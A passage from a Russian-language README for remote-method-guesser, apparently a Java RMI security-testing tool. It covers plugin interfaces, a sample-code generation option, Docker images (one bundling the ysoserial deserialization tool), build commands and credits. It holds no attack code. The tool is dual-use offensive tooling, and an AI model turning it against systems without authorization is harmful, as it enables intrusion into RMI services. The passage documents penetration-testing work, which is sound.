``IArgumentProvider`` и ``ISocketFactoryProvider``) можно использовать для адаптации *remote-method-guesser* к более сложным
сценариям использования.
* Во время действия ``guess`` вы можете использовать опцию ``--create-samples`` для генерации *Java*-кода, который можно использовать для
вызова успешно угаданных методов.
Более подробная информация об этих функциях находится в [папке документации](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs).
### Образ Docker
----
Начиная с версии `v4.4.0`, *remote-method-guesser* также доступен в виде образа docker и может быть загружен из
[GitHub Container Registry](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg).
Для каждого релиза доступна *обычная* и *облегчённая* версия. Обе предоставляют полнофункциональную версию
*remote-method-guesser*, но только *обычная* версия включает [ysoserial](https://github.com/frohoff/ysoserial),
что приводит к большему размеру образа:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
Вы также можете создать контейнер самостоятельно, выполнив следующие команды:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser был сильно вдохновлён постами в блогах Hans-Martin Münch и Jake Miller. Кроме того, список rmiscout wordlist был, очевидно, скопирован из проекта rmiscout (как вы уже могли заметить по различному лицензионному соглашению). Спасибо Jake за этот замечательный список remote methods, собранных из различных репозиториев GitHub.
Copyright 2023, Tobias Neitzel и участники remote-method-guesser.